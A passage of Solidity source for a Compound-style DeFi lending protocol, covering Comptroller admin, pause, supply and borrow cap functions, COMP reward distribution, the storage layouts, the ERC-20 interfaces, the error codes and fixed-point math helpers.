CToken(cToken), "market already added"); } allMarkets.push(CToken(cToken)); } /** * @notice Admin function to change the Supply Cap Guardian * @param newSupplyCapGuardian The address of the new Supply Cap Guardian */ function _setSupplyCapGuardian(address newSupplyCapGuardian) external { require(msg.sender == admin, "only admin can set supply cap guardian"); // Save current value for inclusion in log address oldSupplyCapGuardian = supplyCapGuardian; // Store supplyCapGuardian with value newSupplyCapGuardian supplyCapGuardian = newSupplyCapGuardian; // Emit NewSupplyCapGuardian(OldSupplyCapGuardian, NewSupplyCapGuardian) emit NewSupplyCapGuardian(oldSupplyCapGuardian, newSupplyCapGuardian); } /** * @notice Set the given supply caps for the given cToken markets. Supplying that brings total supplys to or above supply cap will revert. * @dev Admin or supplyCapGuardian function to set the supply caps. A supply cap of 0 corresponds to unlimited supplying. If the total borrows * already exceeded the cap, it will prevent anyone to borrow. * @param cTokens The addresses of the markets (tokens) to change the supply caps for * @param newSupplyCaps The new supply cap values in underlying to be set. A value of 0 corresponds to unlimited supplying. */ function _setMarketSupplyCaps(CToken[] calldata cTokens, uint[] calldata newSupplyCaps) external { require(msg.sender == admin || msg.sender == supplyCapGuardian, "only admin or supply cap guardian can set supply caps"); uint numMarkets = cTokens.length; uint numSupplyCaps = newSupplyCaps.length; require(numMarkets != 0 && numMarkets == numSupplyCaps, "invalid input"); for (uint i = 0; i < numMarkets; i++) { supplyCaps[address(cTokens[i])] = newSupplyCaps[i]; emit NewSupplyCap(cTokens[i], newSupplyCaps[i]); } } /** * @notice Set the given borrow caps for the given cToken markets. Borrowing that brings total borrows to or above borrow cap will revert. * @dev Admin or borrowCapGuardian function to set the borrow caps. A borrow cap of 0 corresponds to unlimited borrowing. If the total supplies * already exceeded the cap, it will prevent anyone to mint. * @param cTokens The addresses of the markets (tokens) to change the borrow caps for * @param newBorrowCaps The new borrow cap values in underlying to be set. A value of 0 corresponds to unlimited borrowing. */ function _setMarketBorrowCaps(CToken[] calldata cTokens, uint[] calldata newBorrowCaps) external { require(msg.sender == admin || msg.sender == borrowCapGuardian, "only admin or borrow cap guardian can set borrow caps"); uint numMarkets = cTokens.length; uint numBorrowCaps = newBorrowCaps.length; require(numMarkets != 0 && numMarkets == numBorrowCaps, "invalid input"); for (uint i = 0; i < numMarkets; i++) { borrowCaps[address(cTokens[i])] = newBorrowCaps[i]; emit NewBorrowCap(cTokens[i], newBorrowCaps[i]); } } /** * @notice Admin function to change the Borrow Cap Guardian * @param newBorrowCapGuardian The address of the new Borrow Cap Guardian */ function _setBorrowCapGuardian(address newBorrowCapGuardian) external { require(msg.sender == admin, "only admin can set borrow cap guardian"); // Save current value for inclusion in log address oldBorrowCapGuardian = borrowCapGuardian; // Store borrowCapGuardian with value newBorrowCapGuardian borrowCapGuardian = newBorrowCapGuardian; // Emit NewBorrowCapGuardian(OldBorrowCapGuardian, NewBorrowCapGuardian) emit NewBorrowCapGuardian(oldBorrowCapGuardian, newBorrowCapGuardian); } /** * @notice Admin function to change the Pause Guardian * @param newPauseGuardian The address of the new Pause Guardian * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _setPauseGuardian(address newPauseGuardian) public returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PAUSE_GUARDIAN_OWNER_CHECK); } // Save current value for inclusion in log address oldPauseGuardian = pauseGuardian; // Store pauseGuardian with value newPauseGuardian pauseGuardian = newPauseGuardian; // Emit NewPauseGuardian(OldPauseGuardian, NewPauseGuardian) emit NewPauseGuardian(oldPauseGuardian, pauseGuardian); return uint(Error.NO_ERROR); } function _setMintPaused(CToken cToken, bool state) public returns (bool) { require(markets[address(cToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); mintGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Mint", state); return state; } function _setBorrowPaused(CToken cToken, bool state) public returns (bool) { require(markets[address(cToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); borrowGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Borrow", state); return state; } function _setFlashloanPaused(CToken cToken, bool state) public returns (bool) { require(markets[address(cToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); flashloanGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Flashloan", state); return state; } function _setTransferPaused(bool state) public returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); transferGuardianPaused = state; emit ActionPaused("Transfer", state); return state; } function _setSeizePaused(bool state) public returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); seizeGuardianPaused = state; emit ActionPaused("Seize", state); return state; } function _become(Unitroller unitroller) public { require(msg.sender == unitroller.admin(), "only unitroller admin can change brains"); require(unitroller._acceptImplementation() == 0, "change not authorized"); } /*** Comp Distribution ***/ /** * @notice Calculate COMP accrued by a supplier and possibly transfer it to them * @param cToken The market in which the supplier is interacting * @param supplier The address of the supplier to distribute COMP to */ function distributeSupplierComp(address cToken, address supplier) internal { // We won't relaunch LM program on comptroller again. Do nothing if the user's supplierIndex is 0. if (compSupplierIndex[cToken][supplier] == 0) { return; } CompMarketState storage supplyState = compSupplyState[cToken]; Double memory supplyIndex = Double({mantissa: supplyState.index}); Double memory supplierIndex = Double({mantissa: compSupplierIndex[cToken][supplier]}); compSupplierIndex[cToken][supplier] = supplyIndex.mantissa; if (supplierIndex.mantissa == 0 && supplyIndex.mantissa > 0) { supplierIndex.mantissa = compInitialIndex; } Double memory deltaIndex = sub_(supplyIndex, supplierIndex); uint supplierTokens = CToken(cToken).balanceOf(supplier); uint supplierDelta = mul_(supplierTokens, deltaIndex); uint supplierAccrued = add_(compAccrued[supplier], supplierDelta); compAccrued[supplier] = transferComp(supplier, supplierAccrued); emit DistributedSupplierComp(CToken(cToken), supplier, supplierDelta, supplyIndex.mantissa); } /** * @notice Calculate COMP accrued by a borrower and possibly transfer it to them * @dev Borrowers will not begin to accrue until after the first interaction with the protocol. * @param cToken The market in which the borrower is interacting * @param borrower The address of the borrower to distribute COMP to */ function distributeBorrowerComp(address cToken, address borrower, Exp memory marketBorrowIndex) internal { // We won't relaunch LM program on comptroller again. Do nothing if the user's borrowerIndex is 0. if (compBorrowerIndex[cToken][borrower] == 0) { return; } CompMarketState storage borrowState = compBorrowState[cToken]; Double memory borrowIndex = Double({mantissa: borrowState.index}); Double memory borrowerIndex = Double({mantissa: compBorrowerIndex[cToken][borrower]}); compBorrowerIndex[cToken][borrower] = borrowIndex.mantissa; if (borrowerIndex.mantissa > 0) { Double memory deltaIndex = sub_(borrowIndex, borrowerIndex); uint borrowerAmount = div_(CToken(cToken).borrowBalanceStored(borrower), marketBorrowIndex); uint borrowerDelta = mul_(borrowerAmount, deltaIndex); uint borrowerAccrued = add_(compAccrued[borrower], borrowerDelta); compAccrued[borrower] = transferComp(borrower, borrowerAccrued); emit DistributedBorrowerComp(CToken(cToken), borrower, borrowerDelta, borrowIndex.mantissa); } } /** * @notice Transfer COMP to the user, if they are above the threshold * @dev Note: If there is not enough COMP, we do not perform the transfer all. * @param user The address of the user to transfer COMP to * @param userAccrued The amount of COMP to (possibly) transfer * @return The amount of COMP which was NOT transferred to the user */ function transferComp(address user, uint userAccrued) internal returns (uint) { if (userAccrued > 0) { Comp comp = Comp(getCompAddress()); uint compRemaining = comp.balanceOf(address(this)); if (userAccrued <= compRemaining) { comp.transfer(user, userAccrued); return 0; } } return userAccrued; } /** * @notice Claim all the comp accrued by holder in all markets * @param holder The address to claim COMP for */ function claimComp(address holder) public { address[] memory holders = new address[](1); holders[0] = holder; return claimComp(holders, allMarkets, true, true); } /** * @notice Claim all comp accrued by the holders * @param holders The addresses to claim COMP for * @param cTokens The list of markets to claim COMP in * @param borrowers Whether or not to claim COMP earned by borrowing * @param suppliers Whether or not to claim COMP earned by supplying */ function claimComp(address[] memory holders, CToken[] memory cTokens, bool borrowers, bool suppliers) public { for (uint i = 0; i < cTokens.length; i++) { CToken cToken = cTokens[i]; require(markets[address(cToken)].isListed, "market must be listed"); if (borrowers == true) { Exp memory borrowIndex = Exp({mantissa: cToken.borrowIndex()}); for (uint j = 0; j < holders.length; j++) { distributeBorrowerComp(address(cToken), holders[j], borrowIndex); } } if (suppliers == true) { for (uint j = 0; j < holders.length; j++) { distributeSupplierComp(address(cToken), holders[j]); } } } } /** * @notice Return all of the markets * @dev The automatic getter may be used to access an individual market. * @return The list of market addresses */ function getAllMarkets() public view returns (CToken[] memory) { return allMarkets; } function getBlockNumber() public view returns (uint) { return block.number; } /** * @notice Return the address of the COMP token * @return The address of COMP */ function getCompAddress() public view returns (address) { return 0x2ba592F78dB6436527729929AAf6c908497cB200; } } pragma solidity ^0.5.16; import "./CToken.sol"; import "./ComptrollerStorage.sol"; contract ComptrollerInterface { /// @notice Indicator that this is a Comptroller contract (for inspection) bool public constant isComptroller = true; /*** Assets You Are In ***/ function enterMarkets(address[] calldata cTokens) external returns (uint[] memory); function exitMarket(address cToken) external returns (uint); /*** Policy Hooks ***/ function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint); function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external; function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint); function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external; function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint); function borrowVerify(address cToken, address borrower, uint borrowAmount) external; function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external returns (uint); function repayBorrowVerify( address cToken, address payer, address borrower, uint repayAmount, uint borrowerIndex) external; function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint); function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount, uint seizeTokens) external; function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint); function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external; function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint); function transferVerify(address cToken, address src, address dst, uint transferTokens) external; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens( address cTokenBorrowed, address cTokenCollateral, uint repayAmount) external view returns (uint, uint); } interface ComptrollerInterfaceExtension { function checkMembership(address account, CToken cToken) external view returns (bool); function updateCTokenVersion(address cToken, ComptrollerV2Storage.Version version) external; function flashloanAllowed(address cToken, address receiver, uint amount, bytes calldata params) external; } pragma solidity ^0.5.16; import "./CToken.sol"; import "./PriceOracle.sol"; contract UnitrollerAdminStorage { /** * @notice Administrator for this contract */ address public admin; /** * @notice Pending administrator for this contract */ address public pendingAdmin; /** * @notice Active brains of Unitroller */ address public comptrollerImplementation; /** * @notice Pending brains of Unitroller */ address public pendingComptrollerImplementation; } contract ComptrollerV1Storage is UnitrollerAdminStorage { /** * @notice Oracle which gives the price of any given asset */ PriceOracle public oracle; /** * @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow */ uint public closeFactorMantissa; /** * @notice Multiplier representing the discount on collateral that a liquidator receives */ uint public liquidationIncentiveMantissa; /** * @notice Max number of assets a single account can participate in (borrow or use as collateral) */ uint public maxAssets; /** * @notice Per-account mapping of "assets you are in", capped by maxAssets */ mapping(address => CToken[]) public accountAssets; } contract ComptrollerV2Storage is ComptrollerV1Storage { enum Version { VANILLA, COLLATERALCAP } struct Market { /// @notice Whether or not this market is listed bool isListed; /** * @notice Multiplier representing the most one can borrow against their collateral in this market. * For instance, 0.9 to allow borrowing 90% of collateral value. * Must be between 0 and 1, and stored as a mantissa. */ uint collateralFactorMantissa; /// @notice Per-market mapping of "accounts in this asset" mapping(address => bool) accountMembership; /// @notice Whether or not this market receives COMP bool isComped; /// @notice CToken version Version version; } /** * @notice Official mapping of cTokens -> Market metadata * @dev Used e.g. to determine if a market is supported */ mapping(address => Market) public markets; /** * @notice The Pause Guardian can pause certain actions as a safety mechanism. * Actions which allow users to remove their own assets cannot be paused. * Liquidation / seizing / transfer can only be paused globally, not by market. */ address public pauseGuardian; bool public _mintGuardianPaused; bool public _borrowGuardianPaused; bool public transferGuardianPaused; bool public seizeGuardianPaused; mapping(address => bool) public mintGuardianPaused; mapping(address => bool) public borrowGuardianPaused; } contract ComptrollerV3Storage is ComptrollerV2Storage { struct CompMarketState { /// @notice The market's last updated compBorrowIndex or compSupplyIndex uint224 index; /// @notice The block number the index was last updated at uint32 block; } /// @notice A list of all markets CToken[] public allMarkets; /// @notice The rate at which the flywheel distributes COMP, per block uint public compRate; /// @notice The portion of compRate that each market currently receives mapping(address => uint) public compSpeeds; /// @notice The COMP market supply state for each market mapping(address => CompMarketState) public compSupplyState; /// @notice The COMP market borrow state for each market mapping(address => CompMarketState) public compBorrowState; /// @notice The COMP borrow index for each market for each supplier as of the last time they accrued COMP mapping(address => mapping(address => uint)) public compSupplierIndex; /// @notice The COMP borrow index for each market for each borrower as of the last time they accrued COMP mapping(address => mapping(address => uint)) public compBorrowerIndex; /// @notice The COMP accrued but not yet transferred to each user mapping(address => uint) public compAccrued; } contract ComptrollerV4Storage is ComptrollerV3Storage { // @notice The borrowCapGuardian can set borrowCaps to any number for any market. Lowering the borrow cap could disable borrowing on the given market. address public borrowCapGuardian; // @notice Borrow caps enforced by borrowAllowed for each cToken address. Defaults to zero which corresponds to unlimited borrowing. mapping(address => uint) public borrowCaps; } contract ComptrollerV5Storage is ComptrollerV4Storage { // @notice The supplyCapGuardian can set supplyCaps to any number for any market. Lowering the supply cap could disable supplying to the given market. address public supplyCapGuardian; // @notice Supply caps enforced by mintAllowed for each cToken address. Defaults to zero which corresponds to unlimited supplying. mapping(address => uint) public supplyCaps; } contract ComptrollerV6Storage is ComptrollerV5Storage { // @notice flashloanGuardianPaused can pause flash loan as a safety mechanism. mapping(address => bool) public flashloanGuardianPaused; } pragma solidity ^0.5.16; /** * @title ERC 20 Token Standard Interface * https://eips.ethereum.org/EIPS/eip-20 */ interface EIP20Interface { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address owner) external view returns (uint256 balance); /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external returns (bool success); /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external returns (bool success); /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } pragma solidity ^0.5.16; /** * @title EIP20NonStandardInterface * @dev Version of ERC20 with no return values for `transfer` and `transferFrom` * See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ interface EIP20NonStandardInterface { /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address owner) external view returns (uint256 balance); /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transfer(address dst, uint256 amount) external; /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transferFrom(address src, address dst, uint256 amount) external; /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } pragma solidity ^0.5.16; contract ComptrollerErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, COMPTROLLER_MISMATCH, INSUFFICIENT_SHORTFALL, INSUFFICIENT_LIQUIDITY, INVALID_CLOSE_FACTOR, INVALID_COLLATERAL_FACTOR, INVALID_LIQUIDATION_INCENTIVE, MARKET_NOT_ENTERED, // no longer possible MARKET_NOT_LISTED, MARKET_ALREADY_LISTED, MATH_ERROR, NONZERO_BORROW_BALANCE, PRICE_ERROR, REJECTION, SNAPSHOT_ERROR, TOO_MANY_ASSETS, TOO_MUCH_REPAY } enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK, EXIT_MARKET_BALANCE_OWED, EXIT_MARKET_REJECTION, SET_CLOSE_FACTOR_OWNER_CHECK, SET_CLOSE_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_NO_EXISTS, SET_COLLATERAL_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_WITHOUT_PRICE, SET_IMPLEMENTATION_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_VALIDATION, SET_MAX_ASSETS_OWNER_CHECK, SET_PENDING_ADMIN_OWNER_CHECK, SET_PENDING_IMPLEMENTATION_OWNER_CHECK, SET_PRICE_ORACLE_OWNER_CHECK, SUPPORT_MARKET_EXISTS, SUPPORT_MARKET_OWNER_CHECK, SET_PAUSE_GUARDIAN_OWNER_CHECK } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } contract TokenErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, BAD_INPUT, COMPTROLLER_REJECTION, COMPTROLLER_CALCULATION_ERROR, INTEREST_RATE_MODEL_ERROR, INVALID_ACCOUNT_PAIR, INVALID_CLOSE_AMOUNT_REQUESTED, INVALID_COLLATERAL_FACTOR, MATH_ERROR, MARKET_NOT_FRESH, MARKET_NOT_LISTED, TOKEN_INSUFFICIENT_ALLOWANCE, TOKEN_INSUFFICIENT_BALANCE, TOKEN_INSUFFICIENT_CASH, TOKEN_TRANSFER_IN_FAILED, TOKEN_TRANSFER_OUT_FAILED } /* * Note: FailureInfo (but not Error) is kept in alphabetical order * This is because FailureInfo grows significantly faster, and * the order of Error has some meaning, while the order of FailureInfo * is entirely arbitrary. */ enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED, BORROW_ACCRUE_INTEREST_FAILED, BORROW_CASH_NOT_AVAILABLE, BORROW_FRESHNESS_CHECK, BORROW_MARKET_NOT_LISTED, BORROW_COMPTROLLER_REJECTION, LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED, LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED, LIQUIDATE_COLLATERAL_FRESHNESS_CHECK, LIQUIDATE_COMPTROLLER_REJECTION, LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED, LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX, LIQUIDATE_CLOSE_AMOUNT_IS_ZERO, LIQUIDATE_FRESHNESS_CHECK, LIQUIDATE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_REPAY_BORROW_FRESH_FAILED, LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_SEIZE_TOO_MUCH, MINT_ACCRUE_INTEREST_FAILED, MINT_COMPTROLLER_REJECTION, MINT_FRESHNESS_CHECK, MINT_TRANSFER_IN_FAILED, MINT_TRANSFER_IN_NOT_POSSIBLE, REDEEM_ACCRUE_INTEREST_FAILED, REDEEM_COMPTROLLER_REJECTION, REDEEM_FRESHNESS_CHECK, REDEEM_TRANSFER_OUT_NOT_POSSIBLE, REDUCE_RESERVES_ACCRUE_INTEREST_FAILED, REDUCE_RESERVES_ADMIN_CHECK, REDUCE_RESERVES_CASH_NOT_AVAILABLE, REDUCE_RESERVES_FRESH_CHECK, REDUCE_RESERVES_VALIDATION, REPAY_BEHALF_ACCRUE_INTEREST_FAILED, REPAY_BORROW_ACCRUE_INTEREST_FAILED, REPAY_BORROW_COMPTROLLER_REJECTION, REPAY_BORROW_FRESHNESS_CHECK, REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_VALIDATION, SET_COMPTROLLER_OWNER_CHECK, SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED, SET_INTEREST_RATE_MODEL_FRESH_CHECK, SET_INTEREST_RATE_MODEL_OWNER_CHECK, SET_MAX_ASSETS_OWNER_CHECK, SET_ORACLE_MARKET_NOT_LISTED, SET_PENDING_ADMIN_OWNER_CHECK, SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED, SET_RESERVE_FACTOR_ADMIN_CHECK, SET_RESERVE_FACTOR_FRESH_CHECK, SET_RESERVE_FACTOR_BOUNDS_CHECK, TRANSFER_COMPTROLLER_REJECTION, TRANSFER_NOT_ALLOWED, ADD_RESERVES_ACCRUE_INTEREST_FAILED, ADD_RESERVES_FRESH_CHECK, ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } pragma solidity ^0.5.16; import "./CarefulMath.sol"; /** * @title Exponential module for storing fixed-precision decimals * @author Compound * @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places. * Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is: * `Exp({mantissa: 5100000000000000000})`. */ contract Exponential is CarefulMath { uint constant expScale = 1e18; uint constant doubleScale = 1e36; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; struct Exp { uint mantissa; } struct Double { uint mantissa; } /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = addUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = subUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return addUInt(truncate(product), addend); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mul_ScalarTruncate(Exp memory a, uint scalar) pure internal returns (uint) { Exp memory product = mul_(a, scalar); return truncate(product); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mul_ScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (uint) { Exp memory product = mul_(a, scalar); return add_(truncate(product), addend); } /** * @dev Divide an Exp by a scalar, returning a new Exp. */ function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa})); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (MathError err0, uint numerator) = mulUInt(expScale, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) { (MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(fraction)); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function div_ScalarByExp(uint scalar, Exp memory divisor) pure internal returns (Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ uint numerator = mul_(expScale, scalar); return Exp({mantissa: div_(numerator, divisor)}); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function div_ScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (uint) { Exp memory fraction = div_ScalarByExp(scalar, divisor); return truncate(fraction); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale); // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({mantissa: product})); } /** * @dev Multiplies two exponentials given their mantissas, returning a new exponential. */ function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) { return mulExp(Exp({mantissa: a}), 